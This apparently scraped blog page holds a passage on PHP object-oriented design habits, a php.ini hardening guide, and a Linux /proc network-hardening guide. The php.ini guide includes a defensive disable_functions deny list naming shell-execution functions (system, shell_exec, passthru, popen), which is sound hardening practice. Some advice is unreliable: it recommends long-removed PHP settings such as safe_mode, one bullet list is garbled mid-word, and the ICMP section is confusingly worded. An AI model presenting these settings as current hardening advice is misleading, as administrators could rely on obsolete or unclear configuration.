$person = new Person();
$person->setPrefix("Mr.");
$person->setGivenName("John");

echo($person->getPrefix());
echo($person->getGivenName());

?>

Be a good neighbor

When you build a class, it should handle its own errors appropriately. If the class doesn’t know how to handle the errors, it should package them in a format that its caller understands. In addition, avoid returning objects that are null or in an invalid state. Many times, you can do this simply by verifying arguments and throwing specific exceptions that tell why the supplied arguments are invalid. When you build this habit, it can save you — and people maintaining your code or using your objects — a lot of time.

Bad habit: Not handling errors

Consider the example shown in Listing 4, which accepts some arguments and returns a Person object with some of the values populated. However, in the parsePersonName() method, there is no validation to see whether the supplied $val variable is null, a zero-length string or perhaps a string in a unparsable format. The parsePersonName() method does not return a Person object, but returns null. Administrators or programmers using this method might be left scratching their heads and — at the very least — be in a place where they need to start setting breakpoints and debugging the PHP script.

Listing 4. Bad habit of not throwing or handling errors

class PersonUtils
{
    public static function parsePersonName($format, $val)
    {
        if (strpos(",", $val) > 0) {
            $person = new Person();
            $parts = split(",", $val); // Assume the value is last, first
            $person->setGivenName($parts[1]);
            $person->setFamilyName($parts[0]);
        }
        return $person;
    }
}

The parsePersonName() method in Listing 4 could be modified to initialize the Person object outside the if condition, ensuring that you always get a valid Person object. However, you get a Person with no set properties, which doesn’t leave you in a much better position.

Good habit: Each module handles its own errors

Instead of leaving your callers guessing, be proactive about validating arguments. If an unset variable can’t produce a valid result, check for the variable and throw an InvalidArgumentException. If the string can’t be empty or must be in a specific format, check for the format and throw an exception. Listing 5 demonstrates how to create your own exceptions, as well as some new conditions in the parsePerson() method that demonstrate some rudimentary validations.

Listing 5. Good habit of throwing errors

<?php
class InvalidPersonNameFormatException extends LogicException {}

class PersonUtils
{
    public static function parsePersonName($format, $val)
    {
        if (! $format) {
            throw new InvalidPersonNameFormatException("Invalid PersonName format.");
        }

        if ((! isset($val)) || strlen($val) == 0) {
            throw new InvalidArgumentException("Must supply a non-null value to parse.");
        }

    }
}
?>

The bottom line is that you want people to be able to use your class without having to know the inner workings of it. If they use it incorrectly or in a way you didn’t intend, they shouldn’t have to guess why it didn’t work. As a good neighbor, you understand that people reusing your class are not psychic, and, therefore, you take the guesswork out.

Avoid looking at Medusa

When I was first learning about OO concepts, I was doubtful that interfaces were really helpful. A colleague of mine drew the analogy that not using interfaces is like looking at the head of Medusa. In Greek mythology, Medusa was a female character with snakes for hair. Any person who looked at her directly turned to stone. Perseus, who killed Medusa, was able to confront her by looking at her reflection in his shield, thus avoiding being turned to stone.

Interfaces are your mirror in dealing with Medusa. When you use a specific, concrete implementation, your code must change if your implementation code changes. Using implementations directly limits many of your options, as you’ve essentially turned your classes to stone.

Bad habit: Not using interfaces

Listing 6 shows an example that loads the Person object from a database. It takes the person’s name and returns the Person object in the database that matches.

Listing 6. Bad habit of not using interfaces

<?php
class DBPersonProvider
{
    public function getPerson($givenName, $familyName)
    {
        /* go to the database, get the person... */
        $person = new Person();
        $person->setPrefix("Mr.");
        $person->setGivenName("John");
        return $person;
    }
}

/* I need to get person data... */
$provider = new DBPersonProvider();
$person = $provider->getPerson("John", "Doe");

echo($person->getPrefix());
echo($person->getGivenName());

?>

The code for loading Person from the database is fine until something changes in the environment. For example, loading Person from the database may be fine for the first version of the application, but for the second version, you may need to add the ability to load a person from a Web service. In essence, the class has turned to stone because it is directly using the implementation class and is now brittle to change.

Good habit: Use interfaces

Listing 7 shows an example of code that does not change as new ways of loading users become available and are implemented. The example shows an interface called PersonProvider, which declares a single method. If any code uses a PersonProvider, the code restrains from using the implementation classes directly. Instead, it uses PersonProvider as if it were a real object.

Listing 7. Good habit of using interfaces

<?php
interface PersonProvider
{
    public function getPerson($givenName, $familyName);
}

class DBPersonProvider implements PersonProvider
{
    public function getPerson($givenName, $familyName)
    {
        /* pretend to go to the database, get the person... */
        $person = new Person();
        $person->setPrefix("Mr.");
        $person->setGivenName("John");
        return $person;
    }
}

class PersonProviderFactory
{
    public static function createProvider($type)
    {
        if ($type == 'database')
        {
            return new DBPersonProvider();
        } else {
            return new NullProvider();
        }
    }
}

$config = 'database';
/* I need to get person data... */
$provider = PersonProviderFactory::createProvider($config);
$person = $provider->getPerson("John", "Doe");

echo($person->getPrefix());
echo($person->getGivenName());
?>

When you use interfaces, try to avoid ever referring to the implementation classes directly. Instead, use something external to your object to give you the correct implementation. If your class loads the implementation based on some logic, it still needs to require the definitions of all the implementation classes, and that doesn’t get you anywhere.

You can use a Factory pattern to create an instance of an implementation class that implements your interface. A factory method, by convention, begins with create and returns the interface. It can take whatever arguments are necessary for your factory to figure out which implementation class is the correct one to return.

In Listing 7, the createProvider() method simply takes a $type. If the $type is set to database, the factory returns an instance of DBPersonProvider. Any new implementation for loading people from a store does not require any changes in the class that uses the factory and interface. The DBPersonProvider implements the PersonProvider interface and has the actual implementation of the getPerson() method in it.

Embrace the weakest link

Loosely coupling your modules is a good thing; it’s one of the properties that allows you to encapsulate change. Two of the other habits — "Be modest" and "Avoid looking at Medusa" — help you work toward building modules that are loosely coupled. To loosely couple your classes, develop the final characteristic by building the habit of lowering the dependencies of your classes.

Bad habit: Tight coupling

In Listing 8, lowering dependencies is not necessarily lowering the dependencies for the client using an object. Rather, the example demonstrates lowering your dependencies on the correct class and minimizing them elsewhere.

Listing 8. Bad habit of tight coupling from Address

<?php

require_once "./AddressFormatters.php";

class Address
{
    private $addressLine1;
    private $addressLine2;
    private $city;
    private $state; // or province...
    private $postalCode;
    private $country;

    public function setAddressLine1($line1)
    {
        $this->addressLine1 = $line1;
    }

		/* accessors, etc... */

    public function getCountry()
    {
        return $this->country;
    }

    public function format($type)
    {
        if ($type == "inline") {
            $formatter = new InlineAddressFormatter();
        } else if ($type == "multiline") {
            $formatter = new MultilineAddressFormatter();
        } else {
            $formatter = new NullAddressFormatter();
        }
        return $formatter->format($this->getAddressLine1(),
            $this->getAddressLine2(),
            $this->getCity(), $this->getState(), $this->getPostalCode(),
            $this->getCountry());
    }
}

$addr = new Address();
$addr->setAddressLine1("123 Any St.");
$addr->setAddressLine2("Ste 200");
$addr->setCity("Anytown");
$addr->setState("AY");
$addr->setPostalCode("55555-0000");
$addr->setCountry("US");

echo($addr->format("multiline"));
echo("\n");

echo($addr->format("inline"));
echo("\n");

?>

The code that calls the format() method on the Address object might look great — all it does is use the Address class, call format(), and it’s done. In contrast, the Address class is not so lucky. It needs to know about the various formatters used to properly format it, which might not make the Address object very reusable for someone else, particularly if that someone else isn’t interested in using the formatter classes in the format() method. Although the code using Address doesn’t have many dependencies, the Address class does have quite a few when it probably should just be a simple data object.

The Address class is tightly coupled with the implementation classes that know how to format the Address object.

Good habit: Loose coupling between objects

When building good OO designs, it’s necessary to think about a concept called Separation of Concerns (SoC). SoC means that you try to separate objects by what they should be really concerned about, thus, lowering the coupling. In the original Address class, it had to be concerned about how to format itself. That’s probably not a good design. Rather, an Address class should think about the parts of the Address, while some type of formatter should worry about how to properly format the address.

In Listing 9, the code that formatted the address is moved to interfaces, implementation classes, and a factory — building the "use interfaces" habit. Now, the AddressFormatUtils class is responsible for creating a formatter and formatting an Address. Any other object now can use an Address without having to worry about also requiring the definitions of the formatters.

Listing 9. Good habit of loose coupling between objects

<?php

interface AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country);
}

class MultiLineAddressFormatter implements AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country)
    {
        return sprintf("%s\n%s\n%s, %s %s\n%s",
            $addressLine1, $addressLine2, $city, $state, $postalCode, $country);
    }
}

class InlineAddressFormatter implements AddressFormatter
{
    public function format($addressLine1, $addressLine2, $city, $state,
        $postalCode, $country)
    {
        return sprintf("%s %s, %s, %s %s %s",
            $addressLine1, $addressLine2, $city, $state, $postalCode, $country);
    }
}

class AddressFormatUtils
{
    public static function formatAddress($type, $address)
    {
        $formatter = AddressFormatUtils::createAddressFormatter($type);

        return $formatter->format($address->getAddressLine1(),
            $address->getAddressLine2(),
            $address->getCity(), $address->getState(),
            $address->getPostalCode(),
            $address->getCountry());
    }

    private static function createAddressFormatter($type)
    {
        if ($type == "inline") {
            $formatter = new InlineAddressFormatter();
        } else if ($type == "multiline") {
            $formatter = new MultilineAddressFormatter();
        } else {
            $formatter = new NullAddressFormatter();
        }
        return $formatter;
    }
}

$addr = new Address();
$addr->setAddressLine1("123 Any St.");
$addr->setAddressLine2("Ste 200");
$addr->setCity("Anytown");
$addr->setState("AY");
$addr->setPostalCode("55555-0000");
$addr->setCountry("US");

echo(AddressFormatUtils::formatAddress("multiline", $addr));
echo("\n");

echo(AddressFormatUtils::formatAddress("inline", $addr));
echo("\n");
?>

The drawback, of course, is that whenever patterns are used, it often means the amount of artifacts (classes, files) goes up. However, this increase is offset by the decreased maintenance in each class and can be decreased even more when proper reusability is gained.

You’re rubber; I’m glue

Highly cohesive OO designs are focused and organized in related modules. Learning about "concerns" is important in determining how to organize functions and classes to be tightly cohesive.

Bad habit: Low cohesion

When a design has low cohesion, it has classes and methods that are not grouped well. The term spaghetti code is often used to describe classes and methods that are bunched together and have low cohesion. Listing 10 provides an example of spaghetti code. The relatively generic Utils class uses many different objects and has many dependencies. It does a bit of everything, making it difficult to reuse.

Listing 10. Bad habit of low cohesion

<?php

class Utils
{
    public static function formatAddress($formatType, $address1,
        $address2, $city, $state)
    {
        return "some address string";
    }

    public static function formatPersonName($formatType, $givenName,
        $familyName)
    {
        return "some person name";
    }

    public static function parseAddress($formatType, $val)
    {
        // real implementation would set values, etc...
        return new Address();
    }

    public static function parseTelephoneNumber($formatType, $val)
    {
        // real implementation would set values, etc...
        return new TelephoneNumber();
    }
}

?>

Good habit: Embrace high cohesion

High cohesion means that classes and methods that are related to each other are grouped. If methods and classes are highly cohesive, you are able to easily split off entire groups without affecting the design. Designs with high cohesion offer the opportunity for lower coupling. Listing 11 shows two of the methods that are better organized into classes. The AddressUtils class contains methods for dealing with Address classes and shows high cohesion among the address-related methods. Likewise, PersonUtils contains methods that deal specifically with Person objects. These two new classes with their highly cohesive methods have low coupling because they can be used completely independently of one another.

Listing 11. Good habit of high cohesion

<?php

class AddressUtils
{
    public static function formatAddress($formatType, $address1,
        $address2, $city, $state)
    {
        return "some address string";
    }

    public static function parseAddress($formatType, $val)
    {
        // real implementation would set values, etc...
        return new Address();
    }

}

class PersonUtils
{
    public static function formatPersonName($formatType, $givenName,
        $familyName)
    {
        return "some person name";
    }

    public static function parsePersonName($formatType, $val)
    {
        // real implementation would set values, etc...
        return new PersonName();
    }
}

?>

Keep it in the family

I often tell people on the software teams on which I’ve been a technical lead or architect that the greatest enemy of OO languages is a copy-and-paste operation. When used in the absence of an up-front OO design, nothing creates more havoc than copying code from one file to the next. Wherever you’re tempted to copy code from one class to the next, stop and consider how you can use class hierarchies to leverage similar or identical functionality. You will find that in most cases, with good design, copying code is completely unnecessary.

Bad habit: Not using class hierarchies

Listing 12 shows a simple example of partial classes. They start with duplicate fields and methods — not good in the long term when the application might need to change. If there was a defect in the Person class, there would most likely be a defect in the Employee class as well because it appears as though the implementation was copied between the two.

Listing 12. Bad habit of not using hierarchies

<?php
class Person
{
    private $givenName;
    private $familyName;
}

class Employee
{
    private $givenName;
    private $familyName;
}

?>

Inheritance is a difficult habit to start using because often, the analysis to build proper inheritance models can take a lot of time. Conversely, using Ctrl+C and Ctrl+V to build new implementations takes only seconds. But the time is usually offset rather quickly in maintenance, where the application will actually spend most of its time.

Good habit: Leverage inheritance

In Listing 13, the new Employee class extends the Person class. It now inherits all the common methods and doesn’t reimplement them. Additionally, Listing 13 shows the use of an abstract method to demonstrate how basic functionality can be put into a base class and specific functionality can be deterred to an implementation class.

Listing 13. Good habit of leveraging inheritance

<?php
abstract class Person
{
    private $givenName;
    private $familyName;

    public function setGivenName($gn)
    {
        $this->givenName = $gn;
    }

    public function getGivenName()
    {
        return $this->givenName;
    }

    public function setFamilyName($fn)
    {
        $this->familyName = $fn;
    }

    public function getFamilyName()
    {
        return $this->familyName;
    }

    public function sayHello()
    {
        echo("Hello, I am ");
        $this->introduceSelf();
    }

    abstract public function introduceSelf();

}

class Employee extends Person
{
    private $role;

    public function setRole($r)
    {
        $this->role = $r;
    }

    public function getRole()
    {
        return $this->role;
    }

    public function introduceSelf()
    {
        echo($this->getRole() . " " . $this->getGivenName() . " " .
            $this->getFamilyName());
    }
}
?>

Think in patterns

Design patterns are common interactions of objects and methods that have been proven over time to resolve certain problems. When you think in design patterns, you’re forcing yourself to be aware of how classes interact with each other. It’s an easy way to build classes and their interactions without having to make the same mistakes other people have made in the past and to benefit from proven designs.

Bad habit: Consider one object at a time

There is really no adequate code example that demonstrates thinking in patterns (although there are plenty of good examples showing pattern implementations). However, generally speaking, you know you’re considering only one object at a time when the following criteria are met:

  • You don’t diagram an object model ahead of time.
  • You start coding the implementation of single methods without much of the model stubbed out.
  • You don’t use design pattern names when talking and would rather talk about imp
    • Model classes and their interactions ahead of time.
    • Stereotype classes according to their patterns.
    • Use pattern names, like Factory, Singleton, and Facade.
    • Stub out large portions of the model, then start adding implementation.
  • lementation.

Good habit: Adding objects, in concert, composed in patterns

Generally speaking, you are thinking in patterns when you:

  • Model classes and their interactions ahead of time.
  • Stereotype classes according to their patterns.
  • Use pattern names, like Factory, Singleton, and Facade.
  • Stub out large portions of the model, then start adding implementation.
Tagged with:
Jun 09

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.Yes PHP is a programming language that works on Linux and windows server. And this language helps in maintaining user accounts and server. I will tell you some feature to lock down PHP and securing it. Firstly I will tell you about how to edit php.ini as this is the main arrangement folder for php. You can do it by following way:

Put On Safe Mode:
You can safe guard your security and functions which you are using through this easy mode. You can work out over the security problems happening in shared server with the help of PHP safe mode. Although it not good to resolve the security problem at php level but as features of web server and OS stage are not very trustworthy many webmasters prefer and use safe mode. I will too suggest you to use safe mode if you are working on shared environment. It will help you to keep your data safe and untouchable.

Exampel:
safe_mode = On

Discontinue Unsafe PHP functions:
Through php your server can mess up with other server an there is danger that anyone can hack your account and can get your root. Many users prefer apprehensive php scripts as to get entry to your server and to provide dangerous commands and capture your server and put there control.

Example:
disable_functions = phpinfo,eval,system,shell_exec,passthru,popen

Put Off Registers Global:
Through registers global anybody can introduce any variable like in the form of HTML scripts to your data as it is very easy under php environment. Anybody can write insecure code as php does not involve variable initialization. Internal variables get mixed with the data send by any other user. Many peoples did not know that from were this unwanted data is coming and getting mixed with their variable.

Example:
register_globals = Off

Work on PHPsuexec:
The great problem with PHP is that on Cpanel servers it works as nobody and if any user sets a script to 777 admittance so it means nobody user has right to use that file and if any other user sharing the same server wrote some script to search 777 files can also get entry over the file and he can very easily introduce some unwanted material to your data and can remain unknown. And safe mode does not work over sharing other user’s files and here PHPsuexec helps to maintain privacy and stops one user to get through other users file. And with PHPsuexec you can very easily trace the other person who is doing spamming over your mails.
Through the above explained function you can easily protect PHP on shared server. There is also one more method, through which you can protect files from other user so that he should be unable to read or to spam it, that is open base protection.

Enable open_basedir
When the open_basedir parameter is enabled, PHP will be able to access only those files, which are placed in the specified directories (and subdirectories).

Example:
open_basedir = /var/www/html

Close display error
If the display_errors parameter is turned off, PHP errors and warnings are not being displayed. Because such warnings often reveal precious information like path names, SQL queries etc., it is strongly recommended to turn this parameter off on production servers.

Exampel:
display_errors = Off

Open error log
When log_errors is turned on, all the warnings and errors are logged into the file that is specified by the error_log parameter. If this file is not accessible, information about warnings and errors are logged by the Apache server.

Example:
log_errors = On

Error log filename
This parameter specifies the name of the file, which will be used to store information about warnings and errors (attention: this file must be writeable by the user or group apache)

Example:
error_log = filename

Tagged with:
Jan 06

The proc filesystem offers some significant enhancements to your network security settings. Unfortunately, most of us are unaware of anything beyond the vague rumors. In the article, we’ll review some of the basic essentials of the kernel parameters necessary by altering /proc filesystem to add to the overall network security of your Linux server.

The proc filesystem is a area of more frequently being neglected. The pseudo file structure within proc allows you to interface with the internal data structures in the kernel, either obtaining information about the system or changing specific settings.

IP Specific Settings

IP forwarding of packets between interfaces is enabled by default on many systems.  If you’re not intending for your box to forward traffic between interfaces, or if you only have a single interface, it would probably be a good idea to disable forwarding. Note that altering this value resets all configuration parameters to their default values. you’ll want to modify this one before all other /proc settings.

if [ -r /proc/sys/net/ipv4/ip_forward ]; then
  echo "Disabling IP forwarding"
  echo "0" > /proc/sys/net/ipv4/ip_forward

fi 

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.ip_forward = 0


If instead you decide to enable forwarding, you will also be able to modify the rp_filter setting; something which is often misunderstood by network administrators. The rp_filter can reject incoming packets if their source address doesn’t match the network interface that they’re arriving on, which helps to prevent IP spoofing. Turning this on, however, has its consequences: If your host has several IP addresses on different interfaces, or if your single interface has multiple IP addresses on it, you’ll find that your kernel may end up rejecting valid traffic. It’s also important to note that even if you do not enable the rp_filter, protection against broadcast spoofing is always on. Also, the protection it provides is only against spoofed internal addresses; external addresses can still be spoofed.. By default, it is disabled. To enable it, run the following:

if [ -r /proc/sys/net/ipv4/conf/all/rp_filter ]; then
  echo "Enabling rp_filter"
  echo "1" > /proc/sys/net/ipv4/conf/all/rp_filter
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.rp_filter = 1

You may have also noticed the "all" subdirectory in this last example. In /proc/sys/net/ipv4/conf there is one subdirectory for each interface on your system along with one directory called "all". Changing specific interface directories only affects that specific interface, while changes made to the "all" directory affects all interfaces on the system.

If you have compiled your kernel with CONFIG_SYNCOOKIES, you will be able to optionally turn on or off protection against SYN flood attacks. Note the emphasis, as compiling the kernel with this value does not enable it by default. It works by sending out ’syncookies’ when the syn backlog queue of a socket overflows. What is often misunderstood is that socket backlogging is not supported in newer operating systems, which means that your error messages may not be correctly received by the offending system. Also, if you see synflood warnings in your logs, make sure they are not the result of a heavily loaded server before enabling this setting. They can also cause connection problems for other hosts attempting to reach you. However, if you do want to enable this setting, perform the following:

if [ -r /proc/sys/net/ipv4/tcp_syncookies ]; then
  echo "Enabling tcp_syncookies"
  echo "1" > /proc/sys/net/ipv4/tcp_syncookies
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.tcp_syncookies = 1

Normally, a host has no control over the route any particular packet takes beyond its first hop. It is up to the other hosts on the network to complete the delivery. IP Source Routing (SRR) is a method of specifying the exact path that a packet should take among the other hosts to get to its destination. This is generally a bad idea for the security conscious, as someone could direct packets to you through a trusted interface and effectively bypass your security in some cases. A good example is traffic, such as SSH or telnet, that is blocked on one interface might arrive on another of your host’s interfaces if source routing is used, which you might not have anticipated in your firewall settings. You’ll probably want to disable this setting with:

if [ -r /proc/sys/net/ipv4/conf/all/accept_source_route ]; then
  echo "Disabling source routing"
  echo "0" > /proc/sys/net/ipv4/conf/all/accept_source_route
fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.accept_source_route = 0

Packets that have source addresses with no known route are referred to as "martians". For example, if you have two different subnets plugged into the same hub, the routers on each end will see each other as martians. To log such packets to the kernel log, which should never show up in the first place, you’ll need to issue:

if [ -r /proc/sys/net/ipv4/conf/all/log_martians ]; then
  echo "Enabling logging of martians"
  echo "1" > /proc/sys/net/ipv4/conf/all/log_martians

fi

If your operating system is RedHat AS3/4/5 or CentOS3/4/5,you can edit sysctl.conf file.

net.ipv4.conf.all.log_martians = 1

 
ICMP Specific Settings

Ping scanning is typically used to determine which hosts on a network are up. Typically this is done by sending ICMP ECHO request packets to the target host. This is seemingly innocent behavior, however often network administrators will block such traffic to increase their obscurity. The choices involve blocking ICMP ECHO requests to broadcast/multicast addresses and directly to the host itself. The respective commands to disable protection are:

echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all

ICMP redirect messages can also be a pain. If your box is not acting as a router, you’ll probably want to disable them:

echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects

Sometimes you will come across routers that send out invalid responses to broadcast frames. This is a violation of RFC 1122, "Requirements for Internet Hosts — Communication Layers". As a result, these events are logged by the kernel. To avoid filling up your logfile with unnecessary clutter, you can tell the kernel not to issue these warnings:

echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

 
Additional Resources

For more information regarding the /proc filesystem, you can refer to the documentation that comes with the Linux kernel source. Of specific help is Documentation/filesystems/proc.txt by Bowden, Bauer & Nerin. Additionally,
you can refer to Documentation/networking/ip-sysctl.txt by Kuznetsov & Savola.

Tagged with:
preload preload preload